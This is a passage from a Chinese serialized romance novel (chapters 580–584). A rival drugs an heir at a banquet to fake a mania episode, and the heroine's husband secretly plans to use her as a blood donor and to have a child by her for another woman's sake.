侍者举着托盘走过,温栩栩端起一杯红酒轻嗅了下略一挑眉对身旁的江恒道:“是你喜欢的口味。” 而后不疾不徐动作优雅的拿起另一杯味道清甜度数极低的果酒碰了碰江夜回的杯子缓缓道:“江先生是大忙人许是不爱关注八卦的,我现在能够星途坦荡都是用出道前的苦日子换来的,所谓有得有失就是如此。” 她像是低头小口啜饮了口果酒其实并未喝进口中继续笑道:“我自认我这种演员圈内的导演还是比较喜欢用的,听话有演技不费时间的演员星途不坦荡些那这圈子未免也太黑了些,有江先生和一众领导人盯着若我星途不能顺些那岂不是太没道理了?” 温栩栩这话是在恭维江夜回,谁都知道娱乐圈水有多深,进了这圈子就是进了大染缸,其中利益牵扯各类交易纠缠哪怕是上面盯着也没办法顺着这条线把背后的各方势力剿灭。 偏却是温栩栩顺着他来了一句有他们盯着她才能星途平稳坦荡倒真的是把话说到他心坎里去了。虽然知道她这话是夸张了些,可到底还是爱听的。 江夜回心情颇好的低笑几声:“倒是没说错,你这样的人若是星途不顺些那还真是没天理。” 韩越眯了眯眼自然明白江夜回能说出这句话就是温栩栩入了他的眼。 江夜回这人可以说是权势滔天,跟各大家族关系匪浅,且背靠的江家是古时候一直传下来根基深远的真正贵族,更是代表上面跟其他家族交谈合作的一个关键人物,且这人也时刻盯着娱乐圈和某些人的纠葛,当初那些犯事被抓进去的都跟他有关。 而现在这样一个人跟温栩栩说她星途能平顺那温栩栩未来跟上面的合作是少不了的。 被江夜回看上那就是红色代表艺人之一了,各路专题电视台的晚会乃至春晚以及上面投资的电影说不定都会邀请温栩栩,这样一来她的身份也跟圈内其他艺人不同,也不是谁都能随便踩一脚的人物了。 “最近有个公益短片正缺个靳小姐这样在圈内影响力高且口碑不错的艺人担任女主角,不知道温栩栩小姐有没有兴趣接下这公益短片?”江夜回果真笑着向温栩栩开口约起短片。 温栩栩不慌不忙的接话:“我的荣幸。” 江夜回这次主动碰了碰温栩栩的酒杯后一饮而尽,温栩栩唇角仍带着笑去喝那杯果酒,江恒条件反射的拦住她:“你不是不能喝酒吗。” 江夜回扫了眼自己冲动的弟弟,微微抬眸似乎等着她的回答,温栩栩面不改色挪开江恒的手腕:“跟江先生的这杯酒我还是能喝的。” 温栩栩慢条斯理的将整杯果酒喝净冲江夜回略一颔首。 江夜回看向她的眼神终于多了那么几分真诚之意,韩越眸色沉重的盯着温栩栩被她这举动惊了片刻。 江夜回碰了温栩栩的酒杯就是在表示友好,喝下那杯酒更是代表希望以后有机会经常合作,要知道在这宴会上能让江夜回主动喝酒的没几个人,但他却给了温栩栩面子。 如果温栩栩是个蠢笨的没喝下那杯果酒或许这次公益短片是他们唯一一次合作,但巧的是温栩栩看懂了也正巧讨好了江夜回。 能得江夜回看重她日后星途当然平稳。 江夜回笑意幽深的跟韩越离开,温栩栩松了口气,江恒将空酒杯放到桌案上:“你不是一沾酒就醉吗怎么还喝酒。” 江恒嘴里抱怨嘀咕着,虽然他是喜欢温栩栩醉酒后的可爱模样,可在这地方醉酒怕是要被人看笑话的,他可不想有人因为这事讽瞧不起温栩栩。 温栩栩揉了揉眉心:“一杯度数低的果酒不碍事的。” 她冲远处扫了一眼压下眸中的灼意冲江恒勾勾手指,江恒自然弯腰,温栩栩跟他耳语几句,江恒移开身体面色平静的噗嗤笑了几声看似无恙,却是跟温栩栩有说有笑道:“什么时候我们再合作一次?我记得上次合作的蛮愉快的,最近我经纪人给我发了几个剧本我觉得都还不错,要不你看看,你觉得哪个行我就定哪个。” 在两人身边踱步驻足片刻的侍者端着酒走远了,江恒嘴里还嚷嚷着要让温栩栩看剧本,手机都拿出来翻出微信一副要找剧本的模样给韩越发了几条微信且同时点开卫惊澜和云慕的微信发了相同的信息过去这才点开微信上接收剧本跟温栩栩在原地讨论剧本。 不多时远处突然传来吵闹喧哗声以及东西碰撞玻璃瓶破碎的声音,温栩栩指尖微动,江恒握紧温栩栩的手腕示意她不要慌这才带她一起往那方向走过去。 “云笙?云笙你不要吓我!” 颜佳雨的惊呼声以及男人悲愤绝望的吼声令周围人面面相觑目露惶恐。 黎云笙突然皱紧眉头,他头疼的厉害,身体四肢百骸都好像快要爆炸浑身的热度冲到大脑,他的呼吸陡然灼热的像快要喘不过气,心脏越跳越快,像是要发狂的变成一只猛兽在胸口撕扯着要蹦出来,又像是变成一把锋利的刀刃在心口划出一刀刀血痕。 男人此刻视线模糊成一片看不清眼前的事物,整个世界都像是笼罩了一层黑暗雾霭跟外面的一切都隔绝开来却又像四周不停蔓延着血色的黑雾。 几年前那场车祸的碰撞声以及男人女人凄惨的求救声包括黎老爷子的低语都像是诅咒一样不停的一遍一遍的在他耳边回响倒带宛若噩梦。 他挣扎着,他面色狰狞的几乎站不稳的跌到冰冷的地面,双膝“咚”的一声砸到地面,狼狈又可怕。 第580章 他从未如此狼狈过 那是黎云笙。 他从未……从未如此狼狈过…… 温栩栩紧紧咬着下唇尝到铁锈一般的血味感受到唇瓣上传来的刺痛只觉眼前发热,她死死的死死的盯着眼前这一幕。 颜佳雨惊慌失措无比害怕的握紧黎云笙的手:“云浩,云浩!云笙会不会出事!他到底怎么了!” 颜佳雨喊得是她未婚夫黎云浩的名字。 黎云浩眼神闪了闪,面露难色语气沉重:“云笙怕是狂躁症又发作了。” 黎云笙话音落下四周皆是议论此事的声音。 黎氏集团继承人竟然患有狂躁症?那可是精神有问题啊!黎氏的掌舵者竟然是个精神病! 一个跟黎家有嫌隙的权贵明面上的友好也装不下去:“黎氏总裁掌舵人患有狂躁症?你们黎家倒是真放心,也不怕黎家毁到他手里。” 那人斜着眼睛瞥了眼黎云浩:“黎家也不是只有他黎云笙一个人,黎家那么多人,我看挑哪一个都比狂躁症更有资格当黎家的继承人。” “不是早就有人说过黎总体弱多病?我倒也实在不懂黎家人是怎么想的让一个病秧子管理公司。” “有病就在医院好好待着出来掺和什么公司的事。”又是被黎云笙下过面子的人落井下石。 黎云浩面色冷峻的看着眼前一幕,眸底闪过一抹得意之色,周围议论的人越来越多,无非都是在说黎家人想不开让黎云笙当了黎家继承人迟早要让黎家落败这类话。 黎云浩面色凝重想把人从地上扶起来却被黎云笙拽住衣领大力掼到地板上。 他面目狰狞眼底藏带的戾意呼啸而出犹如盘亘多时的残忍猛兽只等他放松警惕就能拧断他脆弱的脖子。 黎云浩慌了,颜佳雨怔然的冲过去抱住黎云笙的手臂:“云笙,云笙你清醒一些!那是你大哥!” 他动作顿了片刻下一瞬大掌攥紧拽扯黎云浩的短发。 “咚咚”头砸地的声音十分凶悍,没人敢上前去阻拦他发疯,颜佳雨抱着他手臂不敢放手,只怕一放手黎云浩真要没命。 温栩栩站在原地望着眼前一幕眼底一片晦涩。 她并不向前去只侯在原地又瞧了几眼方才低头唇角扯出一抹讥讽的冷笑。 黎家人打黎家人,这两位还都是黎家少爷谁敢真上去拦? 就是平常也没什么人敢凑上去,更别说其中一个有狂躁症,谁也不敢找那不痛快,纷纷噤声不再议论全都退远几步远远看好戏。 “就没人去找跟黎云笙交好那几位?”有人小声提了一句:“那几位应该还是能劝上几句的。” “你让那几位去劝一个精神病?你怎么不上去劝?真出了事那几位背后的家族指不定又要折腾点什么事出来。”矮胖的油腻男人满脸鄙夷。 吵嚷之间一群西装笔挺的黑衣保镖将青竹居围了个水泄不通,看戏那一群人纷纷变脸却不敢造次。 江夜回的背景不是谁能轻易撼动的,若是谁不长眼因为这事惹恼他绝没有好果子吃,指不定在上面就被记上一笔处处被辖制随便谁一个举报令下来这辈子都毁了。 韩越几人眼眸深沉宛若看闹剧,眸光冰冷的睨望动作僵硬的颜佳雨一眼心下了然,倒是江夜回匆忙赶来随手招呼两名保镖带黎云笙去医院。 温栩栩脚下踉跄一下,江恒垂眸:“我带你一起去医院。” 江夜回只眸色淡漠的瞥了两人一眼到也没叫人阻拦,保镖和保安没人敢拦,似乎是早得了命令会给她们两人放行。 见他们离开江夜回方才寻了把椅子神情颇为冷峻:“黎总是我这边多年的合作伙伴,黎总在我举办的宴会上出了事我这边自然是要给个交代,有没有人能告诉我究竟出了什么事。” 谁上赶着找着不痛快啊,生怕说错点什么被这位盯上。 韩越眸中笑意加深的望了地上的颜佳雨和黎云浩两眼:“既然没有人肯说那就直接看监控。”抬手指指上方摄像头:“你们选的地方不错。” 几分钟的时间江夜回邮箱收到监控录像,江夜回抚弄下颌看着看着笑起来:“我跟黎云笙合作过这么多次怎么没发现他是患有狂躁症的病秧子 。” 黎云浩被颜佳雨扶着站起来面露痛色:“江先生跟他接触不多自然不知这些,他自小体弱多病后来出过车祸患上了这狂躁症每个月都会不分场合不分时间的发疯 。” 这话纯属扯淡,黎云浩是黎家的私生子,且出生时间比黎云笙还早。黎云笙恶心他还来不及怎么可能跟他接触还让他知晓这些? 江夜回这人身份尊贵背景雄厚,若说黎云笙这几个是商界太子那江夜回就是政界小王爷。 别看这人对谁都是笑眯眯的却绝不是个好相处的,年岁不小可身上那股子年少轻狂的混不吝的气质也没多收敛,遇到点事还是一如既往的张狂。 他脾气一直不好,耍起狠来谁也斗不过,他能跟你直接尥蹶子也能背后玩阴的,谁让他不痛快他必让那人掉层皮,谈笑间就想好了对方的好去处。 这次上面特意让他举办这么一场宴会有意跟这些大家族和那些青年才俊交好拉拢,可以说现在这场子是他的,偏有人不长眼在他场子闹事。 江夜回这个人脾气是真不好,但在这位置待久了已经待人温和很多也不那么任性现在算是十分讲道理了。 可他再讲道理有人在他场子闹事砸他场子他也断不能忍。 江夜回眼底全是笑意,他颇为悠闲的从椅子上起身一手揣兜倚靠着桌沿:“所以你觉得我是那种会不查清楚合作对象就贸然跟对方合作的人?狂躁症……我倒是敢拿国家的大项目交到患有狂躁症病人的手里?你是这样以为的?” 他笑着的瞥过去一眼,黎云浩却觉得那笑十分危险。 “在外人面前他自然是要遮掩,知道这些的并没有几人。” 黎云浩抹了把唇角的血渍,那是被黎云笙一拳擦过牙齿磕到嘴唇流的血,嘴巴里一股子血腥气令他烦躁。 江夜回抬手抚弄着额角低笑:“你是没有弄明白我的意思。” 第581章 他只是个私生子 江夜回放慢语速:“我在跟任何人合作前都会把这个人的所有底细都查的干干净净包括他的父母长辈兄弟姐妹。我以为你是个聪明人该懂得收敛却不知是个没脑子的定要逼着我在这里掀了你的底?” “黎家为什么会由黎云笙继承只因他是黎家唯一的嫡系子嗣,剩下的统统都是血脉不纯的私生子。而你因着母亲备受上一任家主宠爱所以将你接回家不顾黎家人反对让你成为黎家大少爷。旁的人都以为你真的是黎家嫡系血脉了。” “怎么?被人整日称作黎大少还真让你觉得自己有多尊贵不拿自己当外人?在黎云笙眼里你连外人都不如。” “常年在国外却还告诉我黎云笙每月都会发病,你怎么知道这些的?是在对我撒谎好让我助力你夺了黎家的权还是想告诉我你在他身边安插了你的眼线?若是对我撒谎想利用我那我只能说你太过自以为是,若是在黎云笙身边安插了眼线……那今天的事也能解释的通。” 江夜回指腹戳着腕表:“无非是觉得这场宴会聚集了上流圈子的人,你想毁掉黎云笙所以让人在他酒里加了会让人发病的料所以才有了之前那一幕。这之后再大肆在外宣扬黎氏总裁黎云笙患有精神病就可以轻而易举将人退下位好让你自己上位坐稳那位置,多好的打算。” “只可惜我没那兴趣当那把摧毁黎云笙的枪。”他又笑:“你毁了我的宴会也险些毁掉我的合作对象,黎云笙与我们的合作是不可外人提前知晓的机密,你既然敢对他动手那我是不是可以合理怀疑你对上面有意见。” 江夜回一字一句直说的黎云浩面色发白大汗淋漓,周围人看他的眼神更是诸多厌恶。 这圈子里有不少人的父亲在外有私生子并一路提携私生子甚至想把家产都留给私生子,他们对私生子的厌恶几乎是从出生就有的。 若是那私生子知道身份不去争抢不属于他们的东西倒也还好,可若是像黎云浩这种明知道自己身份还想跟嫡系去斗的是所有人都最厌恶的臭虫一样的存在。 “我没有这个意思。”黎云浩白着脸解释。 “有没有这个意思跟我们走一遭就知道了。”江夜回拍了两下手掌立刻有保镖冲过来制住黎云浩,他面色愈发难看,江夜回意味深长:“只是跟我们去接受个调查而已,黎大少最好不要反抗,否则恐怕要被打上反动派的标签了。” 黎云浩最后一丝力气都没了,一抬眼便对上韩越几人讥笑的眼神。 颜佳雨早就慌了但也深知江夜回不是她能轻易招惹的,只能忍着心中的惊恐失措僵笑着看未婚夫被人带走。 江夜回似笑非笑的扫她一眼,打量的眼神还带几分不屑之意,韩越几人更没心思应付她竟是看都不多看她一眼,她愣怔的站在原地听着周围人嘀嘀咕咕议论黎云浩是私生子更觉得那群人在看自己的笑话。 黎云浩是私生子那她就是私生子的未婚妻。 这件事本来可以一直瞒着的,可江夜回把这件事在宴会上公之于众,他就是在报复,他们毁掉这场宴会他就几倍报复回来毁掉他们。 颜佳雨只觉浑身冰冷,余光看到保镖押着几个侍者离开更是浑身发寒。 完了,全完了,那几个人都被查出来黎云浩该怎么办!惹了江夜回他还怎么在这圈子里混! 她就不该选黎云浩的,她早该清楚私生子就是私生子永远比不过正统继承人。 颜佳雨垂眸,可她不选黎云浩又能选谁?那时黎云笙车祸躺在病床上,她是没办法了才选了黎云浩,可谁知道黎云笙还能活的好好地…… 这件事跟黎云笙有关,他跟江夜回那么熟只要他不追究黎云浩也会没事的,至于以后的事走一步算一步了。 …… 车内。 温栩栩坐在黎云笙身旁,为了不让他伤害他自己特地绑住他的双手,他那双猩红的眸子像是要渗出血来狰狞可怖。 她握住黎云笙的手,黎云笙似乎很痛苦,他控制不住力气紧紧的抓住她的手腕。 温栩栩顿了片刻伸出手环抱住男人,身上是淡淡的令男人熟悉的气息,他似乎是忍不住狠狠咬在她裸露在外的肩上,温栩栩疼的身子一抖身体忍不住痉挛却还是紧紧抱着他:“没事了,会没事的……我们现在没事了……” 江恒拧眉透过后视镜看到这一幕:“他现在像是失了智,别是真的有狂躁症!都把你咬出血了你快别抱他了!” 温栩栩手轻轻的抚弄男人的发梢:“我不疼。” 江恒抿唇没再说话,只是让那开车的保镖速度再快一些。 黎云笙昏昏沉沉的只感觉到身体痛苦的像是下一秒就要炸开,他却被绑缚着动弹不得,他无力的想挣脱,若有似无的最后一点意识在窒息和眩晕中令他驱逐了些许疼痛。 身边传来熟悉的味道,怀里轻微柔软的触感令他安心,好像这样可以依赖的闭上眼睛。 温栩栩看着面前逐渐昏过去的男人,声音发颤:“会没事的。” 温栩栩从没见黎云笙脆弱起来的样子,他在宴会场上像是疯了一样的攻击黎云浩却不忘隐藏他的秘密,即便是发疯都在遮掩脑中还有那一丝意识。 他像是发疯却更像自保,生在黎家的人能平安长大不知道遭受多少苦楚,他身边的人都对他的位子虎视眈眈,他看着那般强大却也会慌会怕,卸去所有心防后就是那个慌乱害怕如小兽的他,因为没有安全感所以才会死死的扣住那可能妄想伤害他的人。 她那时远远看着黎云笙却好像看到在泥潭中挣扎的自己。 她心头发堵,肩上被咬的伤处疼的她眼睫微颤,男人似乎也尝到血腥味,滚烫的唇舌吸吮她的血,好像那血是什么安抚他的镇定剂。她唇角抿成一条直线隐忍着。 温栩栩侯在急救室走廊外,她肩上的牙印鲜血淋漓她也不去管只坐在长椅上眼神略有几分空洞。 第582章 爱上他了 江恒见此脱下西装外套搭在他身上小声骂了句“他是属狗的吗!” 说完这话江恒才急匆匆去找医生。 她拢了拢身上的西装外套,喉间带几分腥甜之意,她太累了到了医院才能放松下来,她就在急救室外守着一动不肯动,眼皮却控制不住不停打架,终是忍不住睡过去。 江恒回来时咋咋呼呼带了医生护士,远远看到温栩栩闭上眼睛小憩这才收敛几分让人小心些给她消毒擦药又绑上绷带。 他坐在她身旁,伸出手将她的头摁到自己肩上好让她睡得舒服些。 “温栩栩,你爱上他了。” 江恒是个任性骄矜的小少爷,此刻像是一夜之间变得成熟起来带着热意的掌心揉弄她的额角,眼皮却耷拉着颇有几分落魄失神之意。 在他心里温栩栩脑子里可能就没搭着恋爱那条线,他知道温栩栩跟黎云笙已经结婚,但他一直认为这两人之间没有多余的感情。 黎云笙的心在谁身上他也猜得到,无非是颜佳雨。 可颜佳雨是个什么人呢? 也就黎云笙看她时还戴着滤镜,事实上这个女人阴狠狡诈只在乎利益,不然也不会在当初黎云笙车祸后担心黎云笙不能掌控黎家不愿被黎云笙连累才跟黎云笙分手转头就与黎云浩订婚。 黎云笙将颜佳雨看做白月光,反倒是温栩栩成为了替身。 就是因此他才更为温栩栩不值,可看温栩栩一直专心拍戏其他时候并不提黎云笙他才放宽心只当两人是有什么协议。 但今天这场宴会温栩栩虽与江夜回谈笑提及合作事宜但他能感受到温栩栩不在状态。 他本以为是自己的错觉岂料温栩栩目光一直放在另一个人身上。 那一刻他就知晓温栩栩同意作为他的女伴出席这场宴会可能只是想看黎云笙罢了。 黎云笙被算计被陷害时他就在她身边,温栩栩抓着他的手动作都不停收紧,那双平日含笑的桃花眼笼罩着全是担忧。 她应是很想过去在众目睽睽之下抱住黎云笙为他解困,但又因为种种原因才挣扎的站在原地,只眼睛一直望着他,他都能感受到她身体在轻微的颤抖。 温栩栩这样洒脱的人怎么会被感情束缚? 江恒平日里少爷脾气旁人多是说他没什么脑子,可这种自江家长大的难道真的蠢吗。 近来温栩栩出事后除了许愿就都是黎云笙护着她,像温栩栩那样的人也一定把他放在心里看护着,或许在她内心那一小方天地真的开辟出角落把那人放在心口看重。 说是爱也不为过。 他想得越多越替温栩栩感到不值不甘。 他从西装口袋中取出黑色的墨镜小心的给她戴上,看她躺在自己肩头大半张脸都被墨镜遮住仿若又是那能随时站在舞台上发光的全能C位。 他自得的笑起来:“你啊。” 他扭过头不再多看只讷讷自语:“别喜欢任何人啊,爱你自己就够了。” 医院安排了紧急催吐转到单独病房,平日冷冽的一张脸苍白的毫无血色十分虚弱,他还有些不太清醒,眉头一直皱在一起不知道是陷进了哪段回忆中出不来。 不知过了多久黎云笙猛然从睡梦中惊醒,耳边传来轻哼声似乎是被搅了睡意,在床边拱了拱小声呢喃温柔的哄着:“阿笙,没事了……我在呢。” 她总是得意洋洋的,很少叫他阿笙,一直都是黎云笙黎云笙那样得意的喊他。 她重复了几遍眉头轻微的皱着像是快要被惊醒,男人握住她的手,她以头蹭着那只手,轻轻的蹭着触碰像是有些依赖然后两只手抱住男人的手臂嘴里念着“阿笙”然后再度陷入沉睡。 病房的门“吱呀”一声被打开,江惊蛰刚要开口黎云笙道:“先等等,别吵醒她。” 他声音很轻却并没抬头看江惊蛰,只眉眼之间带着几分柔意的望着眼前的人。 江惊蛰没说话,只侧目看着温栩栩不见血色的脸和消瘦的下巴,一阵子不见她又瘦了些,大概是因为一直在跑剧组跑通告所以才会累瘦。 江惊蛰其实觉得温栩栩跟许愿没有一个省心的。 许愿是因为傅京礼,而温栩栩则因为黎云笙。 温栩栩总说她自己足够理智,可都跟许愿玩到一起去了,大抵也是个重度恋爱脑。 他见过温栩栩,看似温栩栩不在意黎云笙,可明明她已经将黎云笙放到心里,只是嘴上不说罢了。 温栩栩睡熟了黎云笙才微一颔首,江惊蛰道:“你昨晚从急救室出来后一直在做噩梦抓着她的手喊颜佳雨的名字还不许她走。” 黎云笙眼睫颤了颤没说话。 “以前你有狂躁症的信息是特意放出去迷惑黎家人的,黎云浩应是不知道真假所以才找人弄了剂猛药想害你在宴会上出丑以便趁此机会夺权。” “他找的那药物短时间内的确能让人发狂出丑,算是禁品。” 江惊蛰又多看了温栩栩一眼:“也多亏温栩栩机警在宴会上就察觉到不对知道有侍者盯着她所以让江恒紧要关头给我们发了信息去找江夜回说清楚原因才能让黎云浩的阴谋没能得逞。” 黎云笙眸光微闪:“是她?” “是她。”江惊蛰语气十分肯定:“你该知道江夜回不喜欢插手这些家族内斗的事,哪怕你是他的合作对象一旦身上有了污点他能马上舍弃你。好在事情发生前就把这件事告诉他让他觉得自己的宴会被人搞出岔子被人挑衅所以才会出面。” 江惊蛰语气淡淡道:“你大概不知道昨天知道我们收到温栩栩的消息后告诉江夜回这些,温栩栩原意是不要放过任何一个人所有人都要查清楚底细,里面可能夹杂了一些身份特殊的人。因此江夜回才有闲心让保镖包围了会所一个一个查清身份查了一整晚。” 他低手摁亮手机扫了眼:“托温栩栩的福,不仅查到给你下药的侍者,还查到一些想探查此次宴会目的的间谍,他们是想知道此次江夜回举办宴会想通过我们身上得到什么并想拿到跟江夜回合作的一系列家族名单,这次全被一网打尽。” 黎云笙不咸不淡的应了一声,目光却始终落在温栩栩的脸上未曾移开。 第583章 利用 江惊蛰看他这反应温和的脸上隐有怒意:“昨晚那群人中还有媒体记者混在其中,如果不是江夜回放出消息谁敢把昨晚的事说出去谁就是反动派,那现在你患有狂躁症的事已经传遍大街小巷了,到那时你会被逼着退位被黎家磋磨关进精神病院。” 他虽是恼但声音却并不大,许是担心吵醒温栩栩,说话时都看顾着还在睡梦中的温栩栩。 他很虚弱,脸色苍白,听到这些话也没什么反应,只那双原本冰冷没有情感的眸子在听到这话后颤了一下。 他说:“她跟佳雨很像。” 江惊蛰觉得这话可笑至极:“长相性格成长环境乃至为人处世待人接物我没看出她们有一点相似。” “她们很像。”黎云笙语气坚定的回他。 江惊蛰戳穿他的伪装声音沉重道:“当你发狂时我就在现场,我一直在观察颜佳雨和温栩栩的反应。一个人在焦急担忧却因为身份还有各种因素阻挠只能远远看着不敢近前。另一个守着你侧面的告诉所有人你有狂躁症,她应和她的未婚夫想要搞臭你的名声。你来告诉我这样的两个人哪里像?” 黎云笙微微敛眉眼瞳中略过一抹悲痛,江惊蛰语气突然放轻像是恳求:“云笙,你把她当个宠物养在身边,可这宠物却长出了心。如果你还有良知就跟她离婚吧。” 离婚,放过她吧。 从一开始这场婚姻就像个笑话。 温栩栩没想结婚,一切都是黎云笙的强迫。 那时温栩栩给自己的答案是,黎云笙习惯了她陪在身边,所以才会如此。 可当真如此吗。 黎云笙定定的望着眼前闭着眼睛休息陷入沉睡的女人:“我不能离婚。” 不是不肯,是不能。 原因很简单。 最初同意跟温栩栩发生关系是因为知道温栩栩有几分像颜佳雨,但颜佳雨自小就有心脏病且血型特殊,他一直在为颜佳雨寻找合适的供体。 温栩栩就是那个全方位都合适的人。 他为什么如此纵容温栩栩,当初那般捧着许愿给许愿数笔投资,就只因为他要把温栩栩困在身边成为真正的活体血库。 所以当温栩栩提到分手的时候他拒绝了,他在为颜佳雨考虑。 颜佳雨陪了他那么多年,他曾经答应她会治好她给她一个健康的身体,那几乎已经变成了一个执念。 温栩栩是他寻到的唯一跟她完全匹配的人,只有温栩栩能救颜佳雨。 温栩栩只是一个没有感情的伴侣,他不能为了温栩栩放弃救颜佳雨的机会。 黎云笙俯身亲了亲她白净的额头,触及她柔嫩的肌肤还是令他略微晃了晃神。 “江惊蛰。”他倏然有些失神,冰冷的眼神闪过一抹痛色:“我和温栩栩生出RH阴性血型孩子的概率有多大。” 江惊蛰震惊且内心升起一片阴冷的寒意,他那么温和的一个人此刻气的在发抖:“你真是疯了。” 他一个字一个字的压着重音,那滔天的怒意完全发泄不出。 “几率大不大。”他重复询问。 江惊蛰咬牙面色都有些许狰狞:“母亲是rh阴性血,父亲不是rh阴性,那孩子是rh阴性血的几率很小,大多都为阳性。rh血型是阴性遗传,除非父亲含有一半的rh阴性基因才有可能。” “几率很小那也是有可能。” 黎云笙低头瞧着还在睡的女人,像是抚摸情人那般抚摸着温栩栩的小腹:“只要她为我生下RH阴性血的孩子我就会跟她离婚。” “黎云笙,孩子是无辜的。”江惊蛰几乎无法与他交流,他只感受到无助和对温栩栩的同情。 “温栩栩也不想为我生育子嗣,我也不想要孩子,对于那些不在父母的爱和期盼中诞生的孩子,活着比死了更痛苦。”他眸中露出些许挣扎之意,最终还是亲了亲温栩栩的唇吮吸着像是寻到安慰。 他像是叹息像是抓住救命稻草在她耳边道:“温栩栩,我们要一个孩子吧。” “你把她当什么了!” 江惊蛰觉得黎云笙是真的疯了。 温栩栩似乎是被吵醒了,睁开眼就对上男人俊美中带着几分痛色的容颜,她下意识的抬手抚摸他的侧脸,声音都带了几分笑意:“你是还在疼吗。” 她握住他的手移到自己肩侧:“要不要咬一咬转一下注意力。”她还在笑着:“这样或许你就不会那么痛了。” 男人眸光眸光微闪直直的盯着她裹了白纱布的伤处。 脑内闪过她被咬时满面薄红痛的轻吟的画面,他眸光微凛俯身在她伤处,温栩栩下意识抖了抖觉得自己即将迎接那疼痛。 男人灼热的鼻息喷洒在颈项间,轻吻着,从脖子闻到伤处,轻轻的落下一个又一个吻,吻的温柔。 她有些不适的捏着自己的腿根:“我不疼的,是医生大惊小怪一定要给我包上。” “不疼吗。”男人声音有些哑,只轻微使力的咬了咬伤处,她立刻疼的“嘶”了一声。 江惊蛰在一旁像是被忽略成空气,他也不出声只静静的看着。 温栩栩不想再被男人盯着那伤处,她笑着搓了搓他的手:“饿了没有?你洗完胃不能吃刺激性的东西,我去帮你买点小米粥好不好。” 温栩栩说着就要起来出门去给他买饭,一抬头就瞥见江惊蛰还愣了下,似乎不知道江惊蛰一直在病房内。 “早饭会有人送来。”江惊蛰深深的忘了温栩栩一眼:“你……好好陪云笙就可以。” “麻烦你了。”温栩栩也没有跟他客气,江惊蛰看了她几眼终是没说什么像是逃一般的离开病房。 两人吃过早饭,温栩栩跟他讲着在剧组的趣事并不去提昨晚的事情。 男人沉默的听着并不怎么搭话,她也不在意只兀自说着像是自听个响一样。 直到被男人堵住唇舌被摁倒在床上,她气喘吁吁的拦着他:“别,你现在的身体不能做这些。” 身体被男人紧紧的压着,两人之间距离那么近。 第584章 身上有他的味道 胸口相贴,彼此之间的味道都令人心慌意乱,此刻触碰到她心口都是一团火热。 他的脸贴着她的,鼻尖几乎碰在一起,他吻着她,灼烫的呼吸洒在她脸上,彼此之间气息纠缠交叉。 他道:“我能的。” 他继续吻着她用行动证明他的强悍,温栩栩呜咽着抱着身上的男人被刺激的咬着他的肩,双手在男人后背抓出两道印子。” 她像是被男人牢牢包裹住,整个人身上都是他的气息,挣不开也无法逃脱。 被翻来覆去折腾了几过的温栩栩躺在病床上比黎云笙更像虚弱的病人。 她肩上的纱布已经被汗水浸透,疼的她睫毛都在打颤,男人拆掉纱布看到那处狰狞的伤口,是被他咬出来的深深的牙印还有些红肿青紫。 他看着颇有些不忍的为她重新处理了伤处,温栩栩握住他的手摇了摇头:“别,等会儿还要去洗澡,等洗过澡后我再请医生包扎一下。” 男人移开目光盯着她的脸看了几秒,他抬手抚摸着她的眉眼:“你和江恒关系很好。” 他提起江恒语气并不温柔,似乎还有几分的厌恶之意。 他吻过她的耳垂,才跟他亲热过此刻正敏感着,又被他这么亲密的对待,耳朵静悄悄的红起来,身体也带了几分敏感的颤栗。 “我跟他是朋友。” 她想张开双臂主动抱住男人好让他知道自己不怂,但肩侧的伤让她没办法这么豪放的动作,。 她又想自己能两条腿夹住男人,却又怕这动作惹得男人起了反应最后苦的还是自己索性还是一条手臂揽住男人的脖子。 “他告诉我这次的宴会他必须参加所以希望我能够做他的女伴。” 温栩栩在他唇边印了一吻:“他说你也会参加这场宴会。” 她眼睛湿漉漉的还泛着明显的可怜潮红:“我一直在别墅等你来找我可一直没能等到你只能我主动来找你。” 这话说的委实可怜,不知道的真要以为他是个极品渣男。 男人面色稍有缓和,温栩栩趁此机会一把握住男人的大手像是安抚似的。 她真的很聪明。 两人上次因为颜佳雨的一些事不欢而散,这次她不提颜佳雨的其他事也不跟她比,只退让着请求他,有些卑微。 她当然是带着心机的,她知道男人最吃这一套的。 男人眸光晦涩的凝视她几秒没有明面回答她,却把玩着她的手躺在一侧抱着她询问:“你对未来有什么打算。” “未来啊。”温栩栩在他怀里拱了拱寻了个舒服的位置喟叹一声:“我想先拿个新人奖然后拿视后拿影后,多赚点钱投资拍电影还要开公司,然后” 温栩栩的话还没有说完,病房的门突然被敲响了,温栩栩警惕的抬头,却听到一道十分熟悉且她厌恶的声音。 “云笙,可以给我开个门吗。” 病房的门从里面锁住了,她根本没办法直接推门进来。 温栩栩微微挑眉在男人没反应过来时主动亲吻男人似乎带了几分挑衅之意,亲够后像是确定自己唇瓣够肿这才跳下病床给颜佳雨开门。 或许该演出破布娃娃的感觉,这样才更能打击颜佳雨。温栩栩如实想。 “怎么不开门。”男人眸光晦深的盯着她。 温栩栩扶着墙哒哒哒跑进病房的洗手间照照镜子,看到脖颈处的红痕再看看这副被人糟蹋了的模样对此十分满意道:“我想用最完美的一种状态去见情敌。” 她说着又低头嗅了嗅自己身上的味道:“我身上有你的味道,也不知道他闻不闻得出来。” 一句话便让男人心口涌起了一股难耐的火气,温栩栩恢复活力似的扭头冲他眨眨眼终于想起去给那锲而不舍敲门的颜影后开了门。 颜佳雨满脸忧愁似乎认为开门的会是黎云笙,却不曾想对上了温栩栩,本来准备好的话就这么卡在了嗓子眼。 她默默打量着温栩栩,陡然沉默了。 温栩栩的美貌是整个娱乐圈都清楚的,她五官精致夺目第一眼望去就让人觉得这长相十分艳丽浓稠,只因那双桃花眼便吸了人的目光,她不化妆都让人恨得牙痒痒,若是病弱一些更让人觉得带着病气都是美的,随便穿上件戏服就能扮把林妹妹分分钟都让人为此落泪揪心。 就是这么一个人此刻身上还穿着昨晚那身礼服,她自然没化妆,但脸色颇有些红润额角还带着汗渍往下滚落,唇是红肿的,眼睛里的水雾还未散尽显出几分媚来。 颜佳雨视线向下移,瞥见温栩栩锁骨处过于刺目令她心寒的红痕。 傻子都能看出刚才两人迟迟不开门是在病房里做了些什么。 温栩栩被她这直勾勾的眼神盯着却一点不紧张,半点不羞涩反倒倚靠在门边随她看个够。 她特意俯身凑到她跟前,一头长发随着风糊了颜佳雨一脸。 颜佳雨有些晃神却听温栩栩在她耳际低笑一声:“闻到我身上属于他的味道了吗,你有吗。” 她在挑衅。 颜佳雨面上忧愁的表情都有些装不住,面色僵了僵,温栩栩稍稍退开一步,那双修长的美腿也在颜佳雨眼下若隐若现,如果她观察的仔细还能窥探到那腿根也是有红痕的。 